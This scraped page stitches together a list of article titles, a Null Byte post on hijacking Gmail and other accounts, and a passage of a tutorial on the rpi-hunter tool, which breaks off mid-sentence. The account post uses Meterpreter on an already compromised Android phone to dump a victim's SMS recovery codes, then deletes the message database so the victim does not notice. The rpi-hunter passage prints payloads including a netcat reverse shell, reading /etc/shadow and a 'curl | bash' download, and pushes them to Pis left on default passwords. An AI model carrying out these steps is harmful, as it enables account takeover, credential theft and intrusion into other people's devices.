Your PC So Your HTTPS Traffic Won't Be Vulnerable to the Latest SSL AttackNews:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)How To:Use Photon Scanner to Scrape Web OSINT DataHow To:The 4 Best Firefox Mobile Extensions for Privacy & SecurityHow To:Get Instant Wikipedia Articles Without Leaving the Webpage You're Currently ViewingNews:What Does Britney Spears Have to Do with Russian Hackers? More Than You ThinkHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesVideo:How to Use Maltego to Research & Mine Data Like an AnalystHow To:12 Browser Add-Ons for Reddit ProsHow To:Block Spoilers for TV, Movies, & Sports in Your BrowserHow To:"Find & Replace" Text Directly in Your Web BrowserHow To:Search Your Chrome History More Easily by Indexing All Text from Webpages VisitedHow To:3 Reasons Firefox Quantum Is the Best Browser for AndroidHow To:Your Chrome Extensions May Be Stealing Your Personal Info: Here's How to Stop ThemHow To:Stream Beats Music in Safari Using HTML5 Instead of Flash PlayerNews:Google+ Apps and IconsNews:22 Google Chrome Extensions to Make Google+ Even BetterHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItHow To:Get the New Google Navigation MenuNews:Google Chrome Web Store Gets New LookHow To:Hide the Facebook News Ticker in Firefox and Google ChromeNews:G+Me Makes Google+ (Almost) Perfect: An Interview with Huy ZingHow To:Accept and Return ALL FarmVille Gifts with One Click, Chrome ExtensionNews:Add your Facebook stream to Google+News:Google+ Pro Tips Weekly Round Up: Resources for NewbiesHow To:Use Firefox Add-Ons and Greasemonkey to Make Google+ PerfectNews:Add-ons for FarmVilleNews:10 Chrome Extensions to Jumpstart Your Google+ Wishlist
How to Hack Any Account That Has Recovery via Phone Option Enabled (SMS) On Android: Β« Null Byte :: WonderHowTo
Hello Elite Hackers! Welcome to my 3rd Post, which explains how to hack any account like G-mail,Facebook, etc.You can also use this technique to hack/spoof messengers like Facebook or WhatsApp etc.Step 1: Fire-Up Kali:I hope you know how to hack android and gain access to it, if not follow my guide:HEREI am hacking on WAN, so the meterpreter would be like this:Step 2: Meterpreter:After the Meterpreter Prompt shows up, leave it there.Open up a browser, gotowww.gmail.com, Enter the Victim's E-Mail address.Click on "Need Help?"Choose "I don't know my password", click ContinueNow, Click "I dont know"At last, Click ContinueStep 3: Onto Meterpreter Again:Oops I forgot thatBefore Clicking that last continueyou should go onto meterpreter and check that, for how much time the phone has not been used(is idle), you can do that by typing:idletimeBUT HERE COMES THEPROBLEM, THEidletimecommand does not work on android, so you cant tell if the user is using the phone currently or not. (However there are other complex ways. like checking RAM etc.)But nevermind we will continue to exploit and take therisks.Type : dump_smsto gather/dump all the messages to root folder.(You can also type: dump_contacts for further exploitation)Step 4: Done...Almost:Goto the root folder of Kali and open the .txt file whereall the messageshad been dumped.------------------------------------------------------------------------------------------------------AND, there you go,Put the Verification code to the Account Recovery Help.Step 5: Password Reset:Enter the Code:----------------------------------------Continue-------------------------------------------Step 6: Delete the Message:Nope, You cannot delete the message until the hacked phone isrooted.If rooted type:delete data/data/com.android.providers.telephony/databases/mmssms.dbWARNING!If you don't delete the message the User will get suspicious and will get to know something's wrong. (Beware of the Cyber Police)The END,Now that you have hacked google account, you can hack facebook for sure or any other account.You can also spoof messengers like FBmessenger or WhatsApp etc.(don't type anything or the user will get suspicious)Thank You,F.E.A.R.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Use Biometrics to Change Your LastPass Master Password from Your PhoneHow To:Extract & Back Up All of Your Text Messages on AndroidHow To:Set Up Instagram Recovery Codes So You Can Always Access Your Account with 2FA EnabledHow To:Bypass Two-Way Authentication on Facebook with Android ScriptHow To:Send & Receive Encrypted Android Texts Using Your Mac's Messages AppHow To:Add 2-Step Verification to Uber for Stronger Overall Account SecurityAnonymous Texting 101:How to Block Your Cell Phone Number While Sending Text MessagesHow To:Send & Receive Texts from Your Android Using Apple Messages on Your MacHow To:No Data, No Problemβ€”Use SMS to Connect to Your Favorite Web Services on AndroidHow To:iOS 12 Makes 2FA for Third-Party Apps & Websites Easy with Security Code AutoFill from SMS TextsHow To:Set Up Two-Factor Authentication for Your Accounts Using Authy & Other 2FA AppsHow To:Get Missed Calls & Contact Numbers from Your Phoneβ€”Without Having Your PhoneAndroid Basics:How to Set Up Multiple User Accounts on the Same DeviceHow To:Transfer Your Authy Account to a New PhoneHow To:Send & Receive SMS Texts on Your Computer for FreeHow To:Top 5 Android VoIP Apps for Making Free Phone CallsHow To:Get Text Messages in Facebook-Style "Chathead" BubblesNews:Big Changes for Facebook Messenger: Multiple Accounts, SMS, & Material DesignHow To:Secure Your Facebook Account Using 2FA β€” Without Making Your Phone Number PublicHow To:7 Ways to Bypass Android's Secured Lock ScreenPSA:Enable This Hidden Setting Before Modding Anything on AndroidHow To:Get ALL of Your Data onto Your New Android PhoneSignal 101:How to Register Using a Google Voice NumberHow To:Root Your T-Mobile LG V20 Using Dirty COWHow To:Unlock the Bootloader, Install a Custom Recovery, & Root the OnePlus OneHow To:10 Free Texting Apps for Android That Are Way Better Than Your Stock SMS AppHow To:Send & Receive Texts from Any Computer with Android MessagesHow To:Chat with Friends on Messenger Without a Facebook AccountHow To:Send & Receive Text Messages Right from Your Nexus 7 3G Tablet (Rooted & Non-Rooted)How To:Unlock Your LG V20's Bootloader (US Variant)How To:Install Cyanogen OS 12 on Your OnePlus OneHow To:Install TWRP Without a ComputerHow To:Fix Bootloops Caused by Magisk Modules Without Factory Resetting Your PhoneHow To:Secure Your Instagram Account by Adding 2-Factor Authentication & Managing Privacy SettingsHow To:Reset Your Nexus Lock Screen PasswordHow To:Effortlessly Hack & Mod Your Samsung Galaxy Note 2 Using the Android Everything ToolHow To:Install Android Q Beta on Your Essential PhoneHow To:15 Tips, Tricks & Shortcuts Every Android Pro Should Know AboutHow To:Set Up Two Different Facebook Accounts on One Android DeviceHow To:The Easier & Better Way to Control, Track, & Locate Your Lost or Stolen Samsung Galaxy S3 Remotely
How to Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunter Β« Null Byte :: WonderHowTo
When setting up aRaspberry Pi, it's easy to overlook changing the default password. Like manyIoT devices, the Raspberry Pi's default Raspbian operating system installs with a widely-known default password, leaving the device vulnerable to remote access. Using a tool calledrpi-hunter, hackers can discover, access, and drop custom payloads on any weak Pi connected to the same network.While this tool is primarily for local networks, it's also capable of discovering and attacking Pi models connected directly to the internet from anywhere. Far from a simple prank, a vulnerable Pi on your network can give hackers unfettered access to other devices on your internal network β€” and even spread payloads to other vulnerable devices.Don't Miss:Set Up Kali Linux on the $10 Raspberry Pi Zero WWhy Default Credentials Are a ProblemDevices still using the default passwords are a considerable risk to connect to a network. Because many IoT devices don't even allow the owner of the device to change the password thanks to hardcoded credentials, they are a favorite target for hackers and automated botnets. Hackers took advantage of these flaws in October 2016, taking out internet service in the United States using thousands of vulnerable computers linked inthe Mirai botnet.This botnet was created by scanning large blocks for the internet for open telnet ports and attempting to log in with default passwords to any device it discovered, taking over vulnerable devices and adding them to the botnet army.Aside from IoT devices, default credentials are also significant problems in routers. Because the majority of users hook up the device and never change the password to it, anyone with the Wi-Fi password can quickly gain access to the router's setting and administrative portal. From here, it's easy to set up remote administration, load unauthorized firmware to spy on the owner, and make other unauthorized changes to the device like pointing the DNS server to a malicious one.Don't Miss:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+If you know the default password a device is using, it becomes effortless to automate logging in to the device to perform some sort of action. That's where rpi-hunter comes in. With it, we can use our knowledge of the Raspberry Pi's default password to automate connecting to and controlling the Pi remotely.Rpi-hunter for GoodIf you have more than one Raspberry Pi, rpi-hunter can take the work out of keeping them updated. After locating the Pis on the network, it's easy to go about making modifications to each device individually or access every Pi simultaneously as a group. While rpi-hunter is programmed by default to try the default Raspbian password, you can easily change the password to reflect the ones you used to set up your own Raspberry Pis.If you have a home or work network with Raspberry Pis you need to configure, you can connect them to the network, enable SSH, and make any changes you need to the entire group as one with rpi-hunter. You could run updates, change the passwords, or pre-load software on the Pis you might need all of them to run later. The ability to connect all of your Pis to the network and issue commands to all of them at the same time is a lot more convenient than having to do so one by one.Rpi-hunter for EvilIt doesn't take a lot of imagination to guess how you could use the ability to discover and control large groups of Raspberry Pis with default credentials. Aside from stock Raspbian, many Raspberry Pis are pressed into service asOctoPrint controllersor other applications with well-known default passwords. If any of these devices are connected directly to the internet, rpi-hunter can discover them over the internet and begin issuing commands.Don't Miss:Build a Pumpkin Pi β€” The Rogue AP & MITM FrameworkThe risk of forgetting to change your password for the owner of a Raspberry Pi is in allowing a stranger to control it remotely and potentially gain a beachhead from which to infect your network further. The average user who sets up and forgets about a Raspberry Pi running default credentials may never see symptoms of their device being compromised, even though it may be quietly following instructions like routing stolen credit card transactions through your network or spying on your traffic.What You'll NeedTo follow this guide, you'llneed to have a Raspberry Pi modelsuch as theZero W,3 Model B+, or4running Raspbian or Debian. You should be able to download this operating system for the Raspberry Pi from thePi Foundation's download page. Once you have your Raspberry Pi running stock Raspbian, you can connect it to your home network using anEthernet cable(if the Pi has an Ethernet port) or Wi-Fi.Next, you'll need a computer with Python to run rpi-hunter on. Because Python is cross-platform, you should be able to install itfrom its download pageon the operating system you use.Recommended:CanaKit Raspberry Pi 4 Starter Kit (4 GB) on AmazonWhen you have Python installed and your computer connected to the same network your Raspberry Pi is connected to, then you're ready to begin using rpi-hunter.Step 1: Get Rpi-hunter ReadyFirst, we'll need to install any libraries rpi-hunter relies on to run. To do so, open a new terminal window and enter the following commands. If you're not root, you should usesudobefore this and other commands in the article.~# pip install -U argparse termcolor Requirement already up-to-date: argparse in /usr/local/lib/python3.7/dist-packages (1.4.0) Requirement already up-to-date: termcolor in /usr/lib/python3/dist-packages (1.1.0)~# apt -y install arp-scan tshark sshpass Reading package lists... Done Building dependency tree Reading state information... Done The following packages were automatically installed and are no longer required: dh-python libdouble-conversion1 liblinear3 libtasn1-doc libwireshark11 libwiretap8 libwscodecs2 libwsutil9 Use 'apt autoremove' to remove them. The following additional packages will be installed: cryptsetup cryptsetup-initramfs cryptsetup-run gcc-10-base libgcc-s1 libgnutls-dane0 libgnutls-openssl27 libgnutls28-dev libgnutls30 libgnutlsxx28 libhogweed5 libnettle7 libp11-kit-dev libp11-kit0 libsnappy1v5 libtasn1-6 libtasn1-6-dev libwireshark-data libwireshark13 libwiretap10 libwsutil11 p11-kit-modules wireshark-common wireshark-qt Suggested packages: keyutils gnutls-bin gnutls-doc geoip-database-extra libjs-leaflet libjs-leaflet.markercluster snmp-mibs-downloader wireshark-doc Recommended packages: cryptsetup-nuke-password libtasn1-doc The following NEW packages will be installed: gcc-10-base libgcc-s1 libhogweed5 libnettle7 libwireshark13 libwiretap10 libwsutil11 sshpass The following packages will be upgraded: arp-scan cryptsetup cryptsetup-initramfs cryptsetup-run libgnutls-dane0 libgnutls-openssl27 libgnutls28-dev libgnutls30 libgnutlsxx28 libp11-kit-dev libp11-kit0 libsnappy1v5 libtasn1-6 libtasn1-6-dev libwireshark-data p11-kit-modules tshark wireshark-common wireshark-qt 19 upgraded, 8 newly installed, 0 to remove and 1905 not upgraded. Need to get 25.0 MB/26.8 MB of archives. After this operation, 97.9 MB of additional disk space will be used. ...Once these libraries are installed, we can move on to installing rpi-hunter fromthe GitHub repository. To clone the repo, you can type the following into a terminal window.~# git clone https://github.com/BusesCanFly/rpi-hunter.git Cloning into 'rpi-hunter'... remote: Enumerating objects: 1, done. remote: Counting objects: 100% (1/1), done. remote: Total 138 (delta 0), reused 0 (delta 0), pack-reused 137 Receiving objects: 100% (138/138), 1.49 MiB | 4.27 MiB/s, done. Resolving deltas: 100% (70/70), done.Now, navigate to the "rpi-hunter" folder (via thecdcommand) and the newly downloaded "rpi-hunter.py" is ready for us to run.~# cd rpi-hunterStep 2: Enable SSH on Your Raspberry PiConnect your Raspberry Pi to the network either via Ethernet cable or Wi-Fi and make sure that SSH is enabled. You can check this by running theraspi-configcommand in a new terminal window. Select "Interfacing Options," then enable remote command-line access to your Pi using SSH.Once SSH is enabled, save your options. You may need to reboot. When your device restarts, you can check to see if SSH is running by typingifconfigto get your IP address in a terminal window on the Pi, and then running the following command on your other device.~# nmap -p 22 (pi's IP address here)If theNmapscan indicates that the port is "open," then SSH is successfully running on your Pi.Step 3: Install Rpi-hunter on Your Raspberry PiBefore running the first time, we'll need to make "rpi-hunter.py" executable by running the following command in a new terminal window.~# chmod +x rpi-hunter.pyStep 4: Run Rpi-hunterNow, we should be able to run the program and see the various flags we can work with.~/rpi-hunter# python rpi-hunter.py -h usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST] [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT] [--safe] [-q] optional arguments: -h, --help show this help message and exit --list List avalible payloads --no-scan Disable ARP scanning -r IP_RANGE IP range to scan -f IP_LIST IP list to use (Default ./scan/RPI_list) -c CREDS Password to use when ssh'ing --payload PAYLOAD (Name of, or raw) Payload [ex. reverse_shell or 'whoami'] -H HOST (If using reverse_shell payload) Host for reverse shell -P PORT (If using reverse_shell payload) Port for reverse shell --safe Print sshpass command, but don't execute it -q Don't print banner or ARP scan outputHere, we can see a few useful flags off the bat. We can scan a single device with-ror a range of IP addresses, or we can even pull from a list of IP addresses with the-fflag. There are some other options relating to which payload we're going to select, and we can explore the available payloads by typing the following command.~/rpi-hunter# python rpi-hunter.py --list β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β• β–ˆβ–ˆβ•‘β•šβ•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β•šβ•β• β•šβ•β•β•šβ•β• β•šβ•β• β•šβ•β• β•šβ•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β•β•β• β•šβ•β• β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β• ----------------------------------------------------------------------------- BusesCanFly 76 32 2e 30 ----------------------------------------------------------------------------- Payloads: Specify with --payload name [raincow_install] sudo apt -y install fortune cowsay lolcat [motd] echo "CHANGE YOUR PASSWORD" > /etc/motd [raincow_bashrc] sudo echo "fortune | cowsay | lolcat" >> ~/.bashrc [reverse_shell] rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc None None >/tmp/fC [apt_update] sudo apt update && sudo apt -y upgrade [shadow] sudo cat /etc/shadow [rickroll] curl -s -L http://bit.ly/10hA8iC | bash [gitpip] sudo apt -y install git python-pipIn the payload list, we can see that there are several options to choose from. We can change the message of the day, create a reverse shell to remotely control the Pi, or even customize our own payload to send.Step 5: Discover Raspberry Pis on the NetworkTo discover a Raspberry Pi on the network, rpi-hunter will run a series of scans to identify any device listing itself as manufactured by Raspberry Pi. We can run a scan ourselves first and directly put in the IP address here if we want to be precise, but the point here is being able to discover and control devices on the network you otherwise might not know about.Don't Miss:Enable Monitor Mode & Packet Injection on the Raspberry PiWithout knowing anything about the network we're on, rpi-hunter will scan the entire network range for Raspberry Pi devices, add them to a list, and then send a payload to any device that's running default credentials. We can do so with thewhoamipayload with the following command. I've run mine without first connecting the Pi to the network. (Note: You can also scan a specific IP range by inserting the-rflag and the range before the payload.)~/rpi-hunter# python rpi-hunter.py --payload whoami β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β• β–ˆβ–ˆβ•‘β•šβ•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β•šβ•β• β•šβ•β•β•šβ•β• β•šβ•β• β•šβ•β• β•šβ•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β•β•β• β•šβ•β• β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β• ----------------------------------------------------------------------------- BusesCanFly 76 32 2e 30 ----------------------------------------------------------------------------- Interface: wlp1s0, datalink type: EN10MB (Ethernet) Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan) 172.16.42.1 de:f3:86:ec:ca:a0 (Unknown) 172.16.42.3 60:30:d4:6a:06:c8 (Unknown) 172.16.42.27 b0:19:c6:98:72:ee (Unknown) 172.16.42.24 1c:36:bb:00:bd:84 (Unknown) 172.16.42.85 8c:85:90:3a:77:14 (Unknown) 172.16.42.15 30:59:b7:08:b2:86 Microsoft 172.16.42.102 8c:85:90:c4:45:08 (Unknown) 172.16.42.117 00:26:bb:1b:97:72 Apple, Inc. 172.16.42.121 8c:85:90:0c:a6:e6 (Unknown) 172.16.42.138 18:65:90:e0:3e:03 (Unknown) 172.16.42.122 d0:c5:f3:9a:eb:2b (Unknown) 172.16.42.35 10:4a:7d:39:ea:e0 Intel Corporate 172.16.42.75 40:4e:36:3b:63:bf HTC Corporation 172.16.42.80 34:23:87:ae:e4:41 Hon Hai Precision Ind. Co.,Ltd. 172.16.42.95 3c:2e:f9:bb:87:ad (Unknown) 172.16.42.105 88:e9:fe:87:c7:74 (Unknown) 172.16.42.112 c4:b3:01:bc:ab:e7 Apple, Inc. 172.16.42.115 36:26:1f:e8:1f:63 (Unknown) 172.16.42.169 a8:bb:cf:13:42:6e Apple, Inc. 172.16.42.179 8c:85:90:81:9a:9b (Unknown) 172.16.42.141 8c:85:90:c3:be:3e (Unknown) 172.16.42.123 a4:34:d9:3f:b3:30 Intel Corporate 172.16.42.164 b8:e8:56:12:84:36 Apple, Inc. 23 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.5: 256 hosts scanned in 2.571 seconds (99.57 hosts/sec). 23 responded Located 0 Raspi's Loaded 0 IP's Sending payload to Pi's Godspeed, little payloadsAs you can see from the output, there were zero Raspberry Pis detected on the network we are currently on. If there was one, we should see a response from the Raspberry Pi that just says "pi" in response to the whoami command.Step 6: Send a Default PayloadNow, let's go ahead and send one of the default payloads included in the script to a live Raspberry Pi. Let's use themotdpayload, which will modify the Pi's "message of the day" which appears when a user logs in via SSH. (Note: If you already located a Pi you want to target, insert the-rflag and its IP address before the payload.)When we execute this, the script will connect to any Pi we've discovered via SSH using default credentials, and then add "CHANGE YOUR PASSWORD" to the text of the message of the day login screen.~/rpi-hunter# python rpi-hunter.py --payload motd β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β• β–ˆβ–ˆβ•‘β•šβ•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β•šβ•β• β•šβ•β•β•šβ•β• β•šβ•β• β•šβ•β• β•šβ•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β•β•β• β•šβ•β• β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β• ----------------------------------------------------------------------------- BusesCanFly 76 32 2e 30 ----------------------------------------------------------------------------- Interface: wlp1s0, datalink type: EN10MB (Ethernet) Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan) 172.16.42.1 de:f3:86:ec:ca:a0 (Unknown) 172.16.42.15 30:59:b7:08:b2:86 Microsoft 172.16.42.24 1c:36:bb:00:bd:84 (Unknown) 172.16.42.48 b4:9c:df:c1:27:5d (Unknown) 172.16.42.85 8c:85:90:3a:77:14 (Unknown) 172.16.42.75 40:4e:36:3b:63:bf HTC Corporation 172.16.42.80 34:23:87:ae:e4:41 Hon Hai Precision Ind. Co.,Ltd. 172.16.42.169 a8:bb:cf:13:42:6e Apple, Inc. 172.16.42.121 8c:85:90:0c:a6:e6 (Unknown) 172.16.42.182 f4:5c:89:99:57:13 Apple, Inc. 172.16.42.102 8c:85:90:c4:45:08 (Unknown) 172.16.42.97 a4:b8:05:66:a0:64 Apple, Inc. 172.16.42.122 d0:c5:f3:9a:eb:2b (Unknown) 172.16.42.130 90:61:ae:8f:f4:03 (Unknown) 172.16.42.127 4c:66:41:77:66:37 SAMSUNG ELECTRO-MECHANICS(THAILAND) 172.16.42.98 78:4f:43:59:7b:fb Raspberry Pi 172.16.42.112 c4:b3:01:bc:ab:e7 Apple, Inc. 21 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.5: 256 hosts scanned in 2.538 seconds (100.87 hosts/sec). 17 responded Located 1 Raspi's Loaded 1 IP's Sending payload to Pi's Godspeed, little payloads Sending payload to 172.16.42.98Success! The next time we log into our Raspberry Pi via SSH, we should see the "CHANGE YOUR PASSWORD" message added.Step 7: Send a Custom PayloadNow that we can send payloads, let's go beyond the default payloads provided in the script and use a simple custom payload. To do so, we can enclose any commands we want to send the Pi in quotation marks after the--payloadflag. To reboot every Pi we detect, we can send thesudo rebootcommand as our payload. The resulting command looks like this:~/rpi-hunter# python rpi-hunter.py --payload "sudo reboot" Located 1 Raspi's Loaded 1 IP's Sending payload to Pi's Godspeed, little payloads Sending payload to 172.16.42.98 Connection to 172.16.42.98 closed by remote host.After issuing this command, every Raspberry Pi on the network should instantly restart. If some Pis are using a different password than the default "raspberry" password set by Raspbian, you can change the password rpi-hunter tries with the-cflag.Accessing Pis using a password other than the default one can be done by running the following command in a terminal window, with the Pi's password added where "toor" 